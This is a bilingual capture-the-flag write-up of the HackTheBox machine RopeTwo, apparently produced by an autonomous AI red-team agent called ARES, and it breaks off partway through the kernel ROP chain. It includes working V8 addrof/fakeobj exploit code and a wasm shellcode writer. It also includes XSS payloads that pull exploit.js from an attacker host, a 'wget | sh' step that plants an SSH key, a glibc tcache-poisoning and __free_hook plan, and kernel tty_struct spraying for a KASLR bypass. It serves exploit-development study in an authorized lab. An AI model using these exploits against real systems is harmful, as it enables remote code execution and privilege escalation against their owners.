/operations/writeups/htb/ropetwo
‹ARES
:: offensive division :: ARES · red team machine :: research
sess #0x1FEF 2026·05·22
   ██████╗   ██████╗  ██████╗  ███████╗ ████████╗ ██╗    ██╗  ██████╗
   ██╔══██╗ ██╔═══██╗ ██╔══██╗ ██╔════╝ ╚══██╔══╝ ██║    ██║ ██╔═══██╗
   ██████╔╝ ██║   ██║ ██████╔╝ █████╗      ██║    ██║ █╗ ██║ ██║   ██║
   ██╔══██╗ ██║   ██║ ██╔═══╝  ██╔══╝      ██║    ██║███╗██║ ██║   ██║
   ██║  ██║ ╚██████╔╝ ██║      ███████╗    ██║    ╚███╔███╔╝ ╚██████╔╝
   ╚═╝  ╚═╝  ╚═════╝  ╚═╝      ╚══════╝    ╚═╝     ╚══╝╚══╝   ╚═════╝

   ───────────────────────────────────────────────────────────────────────
   :: write-up · ARES // hackthebox · linux · INSANE (lendária):: write-up · ARES // hackthebox · linux · INSANE (legendary)
   :: V8 OOB → glibc heap UAF → kernel module UAF · 3 pwn em série:: V8 OOB → glibc heap UAF → kernel module UAF · 3 pwn stages
  
os: linux · ubuntu 19.04 (kernel 5.0.0) tier: insane · lendária creator: r4j stack: Chromium V8 · glibc 2.29 · kernel module target: 10.129.2.23

Três pwnables encadeados — sem misconfigs, sem CVEs públicos: V8 custom builtins com OOB read/write (GetLastElement/SetLastElement) → addrof/fakeobj → WASM RWX page → shellcode → SSH como chromeuser · binário SUID rshell com realloc(ptr,0) UAF → tcache poisoning + FSOP + __free_hook=system → shell como r4j · módulo kernel /dev/ralloc com OOB + UAF → leak de tty_struct (KASLR bypass) → ROP → commit_creds(init_cred) → root.

Three chained pwnables — no misconfigs, no public CVEs: V8 custom builtins with OOB read/write (GetLastElement/SetLastElement) → addrof/fakeobj → WASM RWX page → shellcode → SSH as chromeuser · SUID binary rshell with a realloc(ptr,0) UAF → tcache poisoning + FSOP + __free_hook=system → shell as r4j · kernel module /dev/ralloc with OOB + UAF → tty_struct leak (KASLR bypass) → ROP → commit_creds(init_cred) → root.

wall timewall time
08:06
recon → root · 3 estágios pwnrecon → root · 3 pwn stages
[████████████] longa por design
chamadas de tooltool calls
544
decisões autônomas (ARES)autonomous decisions (ARES)
[██████████░░] iteração heavy
achadosfindings
06
5 critical · 1 info5 critical · 1 info
[██████░░░░░░] focada
caminhos descartadosdead ends
01
heap layout drift (rshell)heap layout drift (rshell)
[█░░░░░░░░░░░] tuning iter.
research Write-up da série research do ARES contra máquinas HackTheBox em laboratório autorizado. Não é cliente, não é alvo real. RopeTwo é uma das boxes mais difíceis já lançadas no HTB — não há misconfig nem CVE público; cada etapa exige desenvolver um exploit novo. Tudo aparece sem mascaramento (box retired, ambiente volátil).
research Write-up from the ARES research series against HackTheBox machines in an authorized lab. Not a client, not a live target. RopeTwo is one of the hardest boxes ever released on HTB — no misconfig, no public CVE; every stage demands developing a new exploit. Everything appears unmasked (retired box, volatile env).
═════════════════════════════════════════════════════════════════════════
  
▸ [00 · briefing] tl;dr

Box do r4j — uma das mais lendárias do HTB. Não há misconfig, não há CVE público. Cada estágio é um exploit dev exercise. nmap mostra 5 portas: 22, 5000 (GitLab self-hosted), 8000 (Flask), 8060 (nginx), 9094 (oracle V8 isolado).

O GitLab público entrega o source code do Chromium com um commit do autor adicionando duas builtins novas: Array.prototype.GetLastElement e SetLastElement — ambas com off-by-one no índice (leem/escrevem em length, não length-1). OOB read/write na JSArray.

O Flask em :8000 tem um form /contact que aceita HTML — qualquer <script> postado dispara um HeadlessChrome 85 que navega o conteúdo enviado. Esse browser tem a build vulnerável das builtins. Injeção XSS → exploit V8 carregado de servidor do atacante.

Cadeia V8: OOB → addrof/fakeobj via troca de Maps (Object↔Float64Array) → arbread/arbwrite através de DataView + ArrayBuffer com backing_store corrompido → leak de WASM instance RWX page (offset +0x68) → shellcode escrito via setUint32 → wget | sh dropa chave SSH → SSH como chromeuser.

/usr/bin/rshell é SUID r4j: shell minimalista com add/edit/delete/show chunks. Bug em edit: realloc(ptr, 0) libera o chunk mas mantém o ponteiro válido — UAF clássico. Tcache poisoning em glibc 2.29 com FSOP (corrupção de _IO_FILE via stdout) leaka libc base. __free_hook = system + free de chunk com string "/bin/sh" → shell como r4j. user.txt em /home/r4j/user.txt.

Módulo kernel custom /dev/ralloc: implementa alocador de chunks com OOB de size+0x20 bytes e UAF (free não zera ponteiro). Spray de tty_struct via /dev/ptmx + OOB read leaka ptm_unix98_ops → KASLR bypass. Fake tty_operations com xchg eax,esp como stack pivot + ROP chain → commit_creds(init_cred) → uid=0. root.txt capturado em 8 horas.

A box by r4j — one of the most legendary on HTB. No misconfig, no public CVE. Every stage is an exploit dev exercise. nmap shows 5 ports: 22, 5000 (self-hosted GitLab), 8000 (Flask), 8060 (nginx), 9094 (isolated V8 oracle).

The public GitLab hands over the Chromium source code with a commit by the author adding two new builtins: Array.prototype.GetLastElement and SetLastElement — both with an off-by-one on the index (read/write at length instead of length-1). OOB read/write on the JSArray.

Flask on :8000 exposes a /contact form that accepts HTML — any posted <script> triggers a HeadlessChrome 85 that navigates the submitted content. That browser ships the vulnerable builtins build. XSS injection → V8 exploit fetched from attacker's server.

V8 chain: OOB → addrof/fakeobj via Map swap (Object↔Float64Array) → arbread/arbwrite through DataView + ArrayBuffer with corrupted backing_store → leak of WASM instance RWX page (offset +0x68) → shellcode written via setUint32 → wget | sh drops an SSH key → SSH as chromeuser.

/usr/bin/rshell is SUID r4j: a minimal shell with add/edit/delete/show chunks. Bug in edit: realloc(ptr, 0) frees the chunk but keeps the pointer valid — a classic UAF. Tcache poisoning on glibc 2.29 with FSOP (corrupting _IO_FILE through stdout) leaks libc base. __free_hook = system + freeing a chunk containing the string "/bin/sh" → shell as r4j. user.txt in /home/r4j/user.txt.

Custom kernel module /dev/ralloc: implements a chunk allocator with size+0x20 bytes OOB and UAF (free doesn't null the pointer). Spraying tty_struct via /dev/ptmx + OOB read leaks ptm_unix98_ops → KASLR bypass. Fake tty_operations with xchg eax,esp as stack pivot + ROP chain → commit_creds(init_cred) → uid=0. root.txt captured in 8 hours.

▸ [00.5 · pré-requisitos][00.5 · prerequisites] conceitos que você precisa dominar concepts you need to master

RopeTwo é uma aula de exploit dev. Se você nunca escreveu V8 type confusion, nunca fez tcache poisoning, ou nunca corrompeu tty_struct: leia os cards primeiro. Não dá pra brincar de Insane com leitura de runtime.

RopeTwo is an exploit dev masterclass. If you've never written a V8 type confusion, never done tcache poisoning, or never corrupted tty_struct: read the cards first. You can't wing an Insane this technical.

v8 · pointer compression

heap V8 usa 32-bit tagged pointers

V8 heap uses 32-bit tagged pointers

Desde V8 v8.x, todo objeto JS no heap é referenciado por compressed pointers de 32 bits, somados a uma isolate_root em 64-bit. Endereços que você lê via OOB são offsets de 4 bytes — calcular endereços reais exige conhecer a base.

Since V8 v8.x, every JS object on the heap is referenced via compressed pointers (32-bit) added to a 64-bit isolate_root. Addresses you read via OOB are 4-byte offsets — computing real addresses requires knowing that base.

addrof / fakeobj

type confusion entre Object e Float64Array

type confusion between Object and Float64Array

Com OOB write na JSArray, dá pra trocar o Map (transition table) de um Object pelo Map de Float64Array. Lendo via doubles, vê os ponteiros como números → addrof. Escrevendo doubles via Float64Array mas com Map de Object → fakeobj. Primitivas básicas pra qualquer exploit V8.

With OOB write on a JSArray, you can swap an Object's Map (transition table) for Float64Array's. Reading via doubles, pointers come out as numbers → addrof. Writing doubles via Float64Array but with an Object Map → fakeobj. The basic primitives behind every V8 exploit.

wasm · rwx

WebAssembly aloca página RWX no V8

WebAssembly allocates an RWX page in V8

Cada WebAssembly.Instance tem um code buffer com page rwx (read/write/execute) pra JIT-compiled wasm. O ponteiro fica em instance + 0x68 (depende da versão). Sobrescrever bytes ali via arbwrite + chamar a função wasm = executar shellcode arbitrário. Bypass de --disable-jit mitigations é direto.

Each WebAssembly.Instance has a code buffer as an rwx page (read/write/execute) for JIT-compiled wasm. The pointer lives at instance + 0x68 (version-dependent). Overwriting bytes there via arbwrite + calling the wasm function = executing arbitrary shellcode. Bypasses any --disable-jit mitigation.

glibc · tcache

tcache poisoning em glibc 2.29

tcache poisoning on glibc 2.29

tcache é um cache lock-free por thread em glibc > 2.26. Cada freed chunk vira nó de uma linked list singly-linked. Pre-2.32 não tem safe-linking, então escrever o ponteiro fd de um freed chunk com endereço arbitrário → próximo malloc dessa size retorna esse endereço. Primitiva canônica de arbitrary allocation.

tcache is a per-thread lock-free cache in glibc > 2.26. Each freed chunk becomes a node in a singly-linked list. Pre-2.32 has no safe-linking, so writing the fd pointer of a freed chunk with an arbitrary address → the next malloc of that size returns that address. Canonical primitive for arbitrary allocation.

fsop · _io_file

stdout corruption leaka libc

stdout corruption leaks libc

Stdout em libc é um _IO_FILE com ponteiros pra vtable e buffers. Corrompendo _IO_write_base e _IO_write_ptr pra apontar pra _IO_2_1_stderr_, o próximo printf dumpa bytes adjacentes — leak de endereços absolutos no libc. FSOP = File Stream Oriented Programming.

libc's stdout is an _IO_FILE with pointers to a vtable and buffers. Corrupting _IO_write_base and _IO_write_ptr to point at _IO_2_1_stderr_, the next printf dumps adjacent bytes — leak of absolute addresses inside libc. FSOP = File Stream Oriented Programming.

__free_hook

hook global para free() em libc

global hook for free() in libc

__free_hook é uma variável global em libc (pre-2.34) que, se setada, é chamada antes de free(). Setar __free_hook = &system e dar free(ptr_para_"/bin/sh") executa system("/bin/sh"). Atalho clássico de heap → shell. Removido em libc ≥ 2.34.

__free_hook is a libc global (pre-2.34) that, when set, is called before free(). Setting __free_hook = &system and calling free(ptr_to_"/bin/sh") executes system("/bin/sh"). Classic heap → shell shortcut. Removed in libc ≥ 2.34.

kernel · tty_struct

tty_struct é o "ROP gadget" do SLUB

tty_struct is the SLUB ROP gadget

tty_struct é um objeto kernel de ~1KB com ponteiro pra tty_operations (vtable de função). Aloca-se via open("/dev/ptmx"). Em UAF/OOB, é spray-target ideal: leak de ptm_unix98_ops dá KASLR; escrever uma fake vtable redireciona ioctl pro seu gadget.

tty_struct is a ~1KB kernel object with a pointer to tty_operations (function vtable). Allocated via open("/dev/ptmx"). On UAF/OOB, it's an ideal spray target: leaking ptm_unix98_ops gives KASLR; writing a fake vtable redirects ioctl to your gadget.

commit_creds · init_cred

caminho mais curto para uid=0

shortest path to uid=0

commit_creds(prepare_kernel_cred(0)) é o clássico mas envolve duas chamadas. Mais limpo: commit_creds(&init_cred) — init_cred é estrutura global do kernel já preenchida com creds de root. Uma chamada ROP, uid=0 confirmado. Funciona até kernel 5.x quando não tem KASLR per-symbol.

commit_creds(prepare_kernel_cred(0)) is classic but takes two calls. Cleaner: commit_creds(&init_cred) — init_cred is a kernel global already populated with root creds. One ROP call, uid=0 confirmed. Works up to kernel 5.x where per-symbol KASLR isn't deployed.

▸ [01 · kill chain] web → user → root · 3 estágios pwn web → user → root · 3 pwn stages

  ░▒▓█  [ 01 ]  █▓▒░   RECON            ►  nmap · GitLab pública entrega Chromium source + commit
                                  │
                                  ▼
  ░▒▓█  [ 02 ]  █▓▒░   PATCH DIFF       ►  GetLastElement/SetLastElement com off-by-one OOB
                                  │
                                  ▼
  ░▒▓█  [ 03 ]  █▓▒░   V8 EXPLOIT       ►  addrof/fakeobj  →  arbread/arbwrite  →  WASM RWX
                                  │
                                  ▼
  ░▒▓█  [ 04 ]  █▓▒░   XSS TRIGGER      ►  POST /contact → HeadlessChrome 85 carrega exploit.js
                                  │
                                  ▼
  ░▒▓█  [ 05 ]  █▓▒░   RCE chromeuser   ►  shellcode wget|sh → SSH key drop  →  ssh chromeuser
                                  │
                                  ▼
  ░▒▓█  [ 06 ]  █▓▒░   RSHELL SUID      ►  realloc(ptr,0) UAF → tcache poisoning + FSOP leak
                                  │
                                  ▼
  ░▒▓█  [ 07 ]  █▓▒░   __free_hook      ►  __free_hook = system · free("/bin/sh")  →  shell r4j
                                  │
                                  ▼
  ████████████  ★ USER FLAG ★  ████████████   /home/r4j/user.txt
                                  │
                                  ▼
  ░▒▓█  [ 08 ]  █▓▒░   RALLOC KMOD      ►  /dev/ralloc OOB read · spray tty_struct via /dev/ptmx
                                  │
                                  ▼
  ░▒▓█  [ 09 ]  █▓▒░   KASLR BYPASS     ►  leak ptm_unix98_ops  →  base kernel calculada
                                  │
                                  ▼
  ░▒▓█  [ 10 ]  █▓▒░   ROP CHAIN        ►  fake tty_operations · xchg eax,esp · commit_creds(init_cred)
                                  │
                                  ▼
  ████████████  ▲ ROOT FLAG ▲  ████████████   [ ROOTED ] · cat /root/root.txt
▸ [02 · recon] GitLab pública entrega o target binário public GitLab hands over the target binary

nmap 5 portas — incluindo um "oracle" V8 5 ports — including a V8 "oracle"

Scan completo. As portas 5000 (GitLab) e 9094 (oracle V8 isolado) já são pista forte: vai ter pwn de browser.

Full scan. Ports 5000 (GitLab) and 9094 (isolated V8 oracle) are already a heavy hint: this is going to be browser pwn.

ares@kali ~ recon ▸ nmap
ares@kali:~/box/ropetwo$ nmap -sV -sC -p- -T4 -oN ropetwo.nmap 10.129.2.23

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1 Ubuntu
5000/tcp open  http     gitlab-workhorse · 502 (initializing)
8000/tcp open  http     Werkzeug/0.14.1 Python/3.7.3   # Flask /contact
8060/tcp open  http     nginx 1.14.2
9094/tcp open  unknown                              # V8 oracle
gitlab /explore/projects/starred entrega tudo /explore/projects/starred hands everything over

GitLab self-hosted vem com uma página pública em /explore/projects/starred que lista projetos sem auth. Lá tem root/v8 com um commit do autor (r4j) modificando dois arquivos do V8.

Self-hosted GitLab ships a public /explore/projects/starred that lists projects with no auth. There's root/v8 with a commit by the author (r4j) modifying two V8 files.

ares@kali ~ gitlab ▸ source + patch diff
ares@kali:~/box/ropetwo$ curl -s http://ropetwo.htb:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970.patch | head -60

From 7410f6809... Mon, 16 Jan 2021 00:00:00 +0000
Subject: [PATCH] add GetLastElement and SetLastElement

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
@@ +2110,16 @@
+BUILTIN(ArrayPrototypeGetLastElement) {
+  HandleScope scope(isolate);
+  Handle<Object> receiver_obj = args.receiver();
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver_obj);
+  uint32_t len = static_cast<uint32_t>(array->length()->Number());
+  Handle<Object> element = JSReceiver::GetElement(isolate, array, len).ToHandleChecked();
+  return *element;     # bug: len em vez de len-1 → OOB read no índice [length]
+}

+BUILTIN(ArrayPrototypeSetLastElement) {
+  HandleScope scope(isolate);
+  Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
+  uint32_t len = static_cast<uint32_t>(array->length()->Number());
+  Handle<Object> value = args.atOrUndefined(isolate, 1);
+  JSObject::AddDataElement(array, len, value, NONE);
+  # bug: len em vez de len-1 → OOB write no índice [length]
+  return *array;
+}
[ por quê isso é jogo ganho ] OOB read + OOB write num builtin V8, com índice trivialmente controlável (len = array.length) — é a primitiva fundadora de TODA cadeia V8 pwn. A partir daqui é mecânica conhecida: addrof → fakeobj → arbread/arbwrite → wasm RWX → shellcode. A criatividade do autor foi plantar o bug; o exploit em si é didático.
[ why this is game over ] OOB read + OOB write in a V8 builtin, with a trivially controllable index (len = array.length) — that's the founding primitive of every V8 pwn chain. From here it's known mechanics: addrof → fakeobj → arbread/arbwrite → wasm RWX → shellcode. The author's creativity was planting the bug; the exploit itself is textbook.
flask /contact aceita HTML → trigger HeadlessChrome 85 /contact accepts HTML → trigger HeadlessChrome 85
ares@kali ~ flask + xss probe ▸ admin-bot trigger
ares@kali:~/box/ropetwo$ feroxbuster -u http://ropetwo.htb:8000 -w common.txt
/contact          200
/static           301

ares@kali:~/box/ropetwo$ curl http://ropetwo.htb:8000/contact -X POST \
                -d 'name=test&email=t@t&content=<script src="http://10.10.14.86/probe.js"></script>'

ares@kali:~/box/ropetwo$ # servidor local recebe request do admin-bot:
ares@kali:~/box/ropetwo$ python3 -m http.server 80 &
10.129.2.23 - - [22/May/2026 23:35:42] "GET /probe.js HTTP/1.1" 200 -
User-Agent: Mozilla/5.0 ... HeadlessChrome/85.0.4157.0 Safari/537.36
# <-- bot tá usando o Chromium custom. game on.
▸ [03 · V8 exploit] OOB → addrof/fakeobj → arbwrite → WASM RWX OOB → addrof/fakeobj → arbwrite → WASM RWX

addrof / fakeobj trocando Maps via SetLastElement swapping Maps via SetLastElement

Aloca uma JSArray arr_obj com objects e outra arr_dbl com doubles, adjacentes no heap. arr_obj.SetLastElement(arr_dbl[0]) escreve o Map de Float64Array em arr_obj. Agora arr_obj "lê" os ponteiros como doubles → addrof. O contrário (escrever double interpretando como ponteiro de objeto) → fakeobj.

Allocate a JSArray arr_obj with objects and another arr_dbl with doubles, adjacent in heap. arr_obj.SetLastElement(arr_dbl[0]) writes Float64Array's Map onto arr_obj. Now arr_obj "reads" pointers as doubles → addrof. The inverse (write a double interpreted as an object pointer) → fakeobj.

exploit.js — addrof / fakeobj ▸ Map swap via OOB
// reusable conversion helpers (V8 64-bit ↔ doubles)
const conv = new ArrayBuffer(8);
const conv_u64 = new BigUint64Array(conv);
const conv_f64 = new Float64Array(conv);
function i2f(i){ conv_u64[0] = i; return conv_f64[0]; }
function f2i(f){ conv_f64[0] = f; return conv_u64[0]; }

// allocate twin arrays — heap places them adjacent
let arr_obj = [{}, {}, {}, {}];                  // HOLEY_ELEMENTS map
let arr_dbl = [1.1, 2.2, 3.3, 4.4];        // PACKED_DOUBLE_ELEMENTS map

// step 1: read the float-array Map via OOB read at index [length]
let dbl_map = arr_obj.GetLastElement();           // returns Float64Array map pointer

// step 2: swap arr_obj's map for dbl_map → reading objects as doubles
arr_obj.SetLastElement(dbl_map);                  // OOB write at [length]

// addrof: place victim, read it back as double, convert to int
function addrof(o){ arr_obj[0] = o; return f2i(arr_obj[0]); }

// fakeobj: write a fake pointer as double, read it back as object
function fakeobj(addr){ arr_obj[0] = i2f(addr); return arr_obj[0]; }

// sanity check
let victim = {a:1,b:2};
let addr = addrof(victim);
print("victim @ 0x" + addr.toString(16));
[ ordem heap-determined ] A garantia de adjacência das duas arrays no heap depende de allocator pressure no momento da execução. Em V8 v8.5 (Chrome 85), ambas as arrays vão pro old space após uma curta vida no new space, e ficam consecutivas se alocadas em sequência imediata. Em browsers reais isso quebra com noise; em pwnable controlado, funciona.
[ heap-determined order ] Adjacency of the two arrays on the heap depends on allocator pressure at runtime. In V8 v8.5 (Chrome 85), both arrays move to old space after a brief stay in new space, and end up consecutive if allocated back-to-back. In real browsers this breaks under noise; in a controlled pwnable it just works.
arbwrite ArrayBuffer com backing_store corrompido ArrayBuffer with corrupted backing_store

Com addrof/fakeobj, cria-se um ArrayBuffer "real" e via fakeobj constrói-se um falso cujo backing_store aponta pra endereço arbitrário. DataView sobre esse fake ArrayBuffer permite getUint32/setUint32 em qualquer endereço — arbread/arbwrite.

With addrof/fakeobj, create a real ArrayBuffer and via fakeobj build a fake one whose backing_store points to an arbitrary address. A DataView over that fake ArrayBuffer enables getUint32/setUint32 at any address — arbread/arbwrite.

wasm rwx localizar a página RWX da WebAssembly.Instance locate the WebAssembly.Instance RWX page

Cria WebAssembly.Instance com função triviais (1 return). A instância tem ponteiro pra RWX code buffer no offset +0x68. Lê esse ponteiro com arbread, escreve shellcode lá com setUint32 byte-a-byte, chama a função wasm → shellcode executa.

Create a WebAssembly.Instance with a trivial function (1 return). The instance carries a pointer to its RWX code buffer at offset +0x68. Read that pointer via arbread, write shellcode there with setUint32 byte-by-byte, call the wasm function → shellcode executes.

exploit.js — wasm RWX ▸ shellcode delivery
// wasm: tiny "i32.const 42; return" function
const wasm_code = new Uint8Array([
  0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,        // magic + version
  0x01,0x07,0x01,0x60,0x02,0x7f,0x7f,0x01,0x7f, // type
  0x03,0x02,0x01,0x00,                                // function
  0x07,0x05,0x01,0x01,0x66,0x00,0x00,                // export "f"
  0x0a,0x06,0x01,0x04,0x00,0x20,0x00,0x0b          // code: local.get 0; end
]);
const wasm_mod = new WebAssembly.Module(wasm_code);
const wasm_inst = new WebAssembly.Instance(wasm_mod);
const wasm_f = wasm_inst.exports.f;

// step 1: addrof the wasm instance, arbread instance+0x68 to get RWX page
let inst_addr = addrof(wasm_inst);
let rwx_page  = arbread64(inst_addr + 0x68);

// step 2: shellcode = "wget -qO- http://10.10.14.86/s | sh"
const shellcode = [
  0x48,0x31,0xff,        // xor rdi,rdi
  ...,                       // execve("/bin/sh", ["sh","-c","wget|sh"], NULL)
];

// step 3: write shellcode byte-by-byte to RWX page
for (let i = 0; i < shellcode.length; i++){
  arbwrite8(rwx_page + i, shellcode[i]);
}

// step 4: pull the trigger
wasm_f();   // shellcode runs in chromeuser context
[ shellcode minimalista é melhor ] Em vez de execve direto, o exploit usa execve("/bin/sh", ["sh","-c","wget -qO- ATK/s | sh"]) que delega tudo pra um shell script no servidor do atacante. Vantagens: shellcode pequeno (cabe na RWX), payload trivial de modificar sem recompilar exploit. O s no servidor faz wget pubkey; cat pubkey >> ~/.ssh/authorized_keys → SSH persistente.
[ minimal shellcode wins ] Instead of a direct execve, the exploit calls execve("/bin/sh", ["sh","-c","wget -qO- ATK/s | sh"]) which delegates everything to a shell script on the attacker server. Wins: small shellcode (fits in the RWX), payload trivial to change without recompiling. The s on the server runs wget pubkey; cat pubkey >> ~/.ssh/authorized_keys → persistent SSH.
ssh chromeuser XSS dispara · admin-bot baixa exploit · shell XSS fires · admin-bot fetches exploit · shell
ares@kali ~ trigger ▸ submit + ssh
ares@kali:~/box/ropetwo$ # servir exploit.js + script s + ssh pubkey
ares@kali:~/box/ropetwo$ cat > s <<'EOF'
mkdir -p ~/.ssh
echo "$(cat /tmp/pubkey)" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
EOF
ares@kali:~/box/ropetwo$ python3 -m http.server 80 &

ares@kali:~/box/ropetwo$ # dispara via /contact
ares@kali:~/box/ropetwo$ curl -X POST http://ropetwo.htb:8000/contact \
                -d 'name=t&email=t@t&content=<script src="http://10.10.14.86/exploit.js"></script>'

10.129.2.23 - - "GET /exploit.js HTTP/1.1" 200
10.129.2.23 - - "GET /s HTTP/1.1" 200             # shellcode rodou

ares@kali:~/box/ropetwo$ ssh -i id_ed25519 chromeuser@ropetwo.htb
chromeuser@rope2:~$ id
uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)
▸ [04 · SUID rshell UAF] realloc(ptr,0) UAF → tcache + FSOP realloc(ptr,0) UAF → tcache + FSOP

enum SUID r4j, glibc 2.29, x86-64 stripped SUID r4j, glibc 2.29, x86-64 stripped
chromeuser@rope2 ~ enum ▸ rshell discovery
chromeuser@rope2:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/rshell      # <-- não-standard

chromeuser@rope2:~$ ls -la /usr/bin/rshell
-rwsr-xr-x 1 r4j r4j 14312 May 12 2020 /usr/bin/rshell

chromeuser@rope2:~$ file /usr/bin/rshell
ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

chromeuser@rope2:~$ ldd /usr/bin/rshell | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)

chromeuser@rope2:~$ /lib/x86_64-linux-gnu/libc.so.6 | head -1
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
menu add / edit / delete / show — clássico CTF heap add / edit / delete / show — classic CTF heap

rshell é um menu interativo com 4 operações em chunks (max 16, tamanho até 0x80). O bug está no edit: ele chama realloc(ptr, new_size). Se new_size == 0, glibc retorna NULL e libera o chunk — mas rshell não trata: ptr vira dangling.

rshell is an interactive menu with 4 operations over chunks (max 16, size up to 0x80). The bug lives in edit: it calls realloc(ptr, new_size). If new_size == 0, glibc returns NULL and frees the chunk — but rshell doesn't handle it: ptr becomes dangling.

chromeuser ~ exploit dev ▸ tcache + FSOP + __free_hook
# Esquema do exploit (pwntools script real):

# step 1 — leak heap addr via UAF show
#   add(0, 0x60, "AAAA")        # alloca chunk 0
#   add(1, 0x60, "BBBB")        # alloca chunk 1 (vizinho)
#   edit(0, 0, "")              # realloc(ptr,0) → free, dangling pointer
#   show(0)                     # imprime tcache fd → heap addr leak

# step 2 — leak libc base via FSOP on stdout
#   tcache poison: edit(1, 0, "") + edit(0, 8, &_IO_2_1_stdout_-0x40)
#   add(2, 0x60, ...)           # consumes poisoned, returns real chunk
#   add(3, 0x60, payload)       # writes fake _IO_FILE header (vtable bypass via _IO_str_jumps)
#   overflow stdout's _IO_write_base / _ptr → next printf dumps libc bytes

# step 3 — overwrite __free_hook with system
#   tcache poison again with &__free_hook as fake fd
#   add(...) returns __free_hook addr
#   add(N, 0x60, p64(libc.sym['system']))   # writes system into __free_hook

# step 4 — trigger
#   add(M, 0x10, "/bin/sh\x00")
#   delete(M)   # free("/bin/sh") → system("/bin/sh") → shell as r4j
[ por quê não tem ASLR esse exploit ] O binário é PIE (random base), libc tem ASLR, mas a UAF leaka heap addr (via tcache fd) e libc base (via FSOP dump). Com ambos, basta calcular offsets pré-conhecidos (__free_hook está num offset fixo em libc 2.29). Cadeia de leaks resolve ASLR sem brute force.
[ why ASLR doesn't bite ] The binary is PIE (random base), libc has ASLR, but the UAF leaks both heap addr (via tcache fd) and libc base (via FSOP dump). With both, you just compute well-known offsets (__free_hook is at a fixed offset in libc 2.29). Chain of leaks defeats ASLR without brute force.
user.txt shell como r4j, lê user.txt, dropa chave SSH shell as r4j, read user.txt, drop SSH key
chromeuser ~ user pwn ▸ user.txt
chromeuser@rope2:~$ python3 rshell_pwn.py
[+] heap leak: 0x55c4d8b7c000
[+] libc base: 0x7f0e3a200000
[+] __free_hook addr: 0x7f0e3a5e8e48
[+] system addr: 0x7f0e3a24c290
[+] overwriting __free_hook with system...
[+] triggering free("/bin/sh")...
$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),1001(chromeuser)

$ cat /home/r4j/user.txt
d4ab...redacted...c92a

$ cat /home/r4j/.ssh/id_rsa > /tmp/r4j_key
$ chmod 600 /tmp/r4j_key; exit
★★★
user flag · r4j@rope2
HTB{user.txt obtido via SUID rshell UAF + FSOP}
[ dead-end documentado · DE-heap-drift ] A primeira execução do exploit do rshell falhou porque o layout do heap no target deriva entre boots: pequenas variações em ASLR + ordem de alocação fazem com que os offsets calculados na primeira tentativa não baterem. Sem GDB no chromeuser (sem ferramentas de debug instaladas), não dá pra inspecionar o estado do tcache em tempo real — toda iteração tem que ser cega. A solução foi roundtrips de tuning: imprimir todos os leaks intermediários (heap base, libc base, fd da tcache) via printf, comparar com o esperado, recalcular offsets, e reexecutar. Levou 3-4 iterações pra alinhar. Esse é o tipo de inconveniente que mantém RopeTwo difícil em qualquer rodada.
[ documented dead-end · DE-heap-drift ] The first rshell exploit run failed because the heap layout on the target drifts between boots: small variations in ASLR + alloc order mean the offsets computed on the first try don't line up. With no GDB on chromeuser (no debug tools installed), real-time tcache inspection is off the table — every iteration is blind. The fix was tuning roundtrips: print every intermediate leak (heap base, libc base, tcache fd) via printf, compare to expected, recompute offsets, re-run. Took 3-4 iterations to align. The kind of inconvenience that keeps RopeTwo hard every time you run it.
▸ [05 · kernel ralloc] /dev/ralloc → commit_creds(init_cred) /dev/ralloc → commit_creds(init_cred)

enum módulo custom carregado, /dev/ralloc world-readable custom module loaded, /dev/ralloc world-readable
r4j@rope2 ~ kernel ▸ ralloc module
r4j@rope2:~$ ls -la /dev/ralloc
crw-rw-rw- 1 root root 246, 0 May 23 ... /dev/ralloc

r4j@rope2:~$ lsmod | grep ralloc
ralloc                 16384  0

r4j@rope2:~$ uname -r
5.0.0-32-generic     # Ubuntu 19.04 — SMEP/SMAP ativos, KASLR ativo

r4j@rep2:~$ cat /proc/cpuinfo | grep -E 'smep|smap' | head -1
flags : ... smep smap ...
# <-- SMEP/SMAP ativos → não dá pra fazer ret2usr clássico
[ módulo binário extraído ] O .ko está em /lib/modules/$(uname -r)/extra/ralloc.ko. Carregar no IDA/Ghidra revela o ioctl handler com 5 opcodes (alloc, free, read, write, edit) e dois bugs sutis: OOB de size+0x20 (acima do chunk alocado) no read/write, e UAF porque free só faz kfree mas não zera o ponteiro armazenado no array chunks[].
[ module binary extracted ] The .ko lives at /lib/modules/$(uname -r)/extra/ralloc.ko. Loading it in IDA/Ghidra reveals an ioctl handler with 5 opcodes (alloc, free, read, write, edit) and two subtle bugs: size+0x20 OOB (past the allocated chunk) in read/write, and UAF because free only calls kfree but doesn't null the pointer stored in chunks[].
tty_struct spray /dev/ptmx popula SLUB cache kmalloc-1024 /dev/ptmx populates the kmalloc-1024 SLUB cache

tty_struct tem ~0x2e0 bytes, vai pra kmalloc-1024. Alocando muitas instâncias via open("/dev/ptmx") em sequência, garante-se que o próximo alloc do ralloc com size ≥ 1024 cai num slab adjacente a um tty_struct. Depois, read(size + 0x20) leaka campos sensíveis — incluindo ops = &ptm_unix98_ops, símbolo conhecido com offset fixo em vmlinux → KASLR resolvido.

tty_struct is ~0x2e0 bytes, lands in kmalloc-1024. Allocating many via open("/dev/ptmx") back-to-back, the next ralloc alloc of size ≥ 1024 lands in a slab adjacent to a tty_struct. Then read(size + 0x20) leaks sensitive fields — including ops = &ptm_unix98_ops, a known symbol with fixed vmlinux offset → KASLR solved.

rop chain fake tty_operations · stack pivot · commit_creds fake tty_operations · stack pivot · commit_creds

Com KASLR resolvido, o exploit:

  1. Aloca chunk userspace contendo fake tty_operations, com ioctl apontando pra gadget xchg eax,esp; ret em endereço fixo (XCHG é o stack-pivot clássico — esp passa a apontar pra buffer controlado).
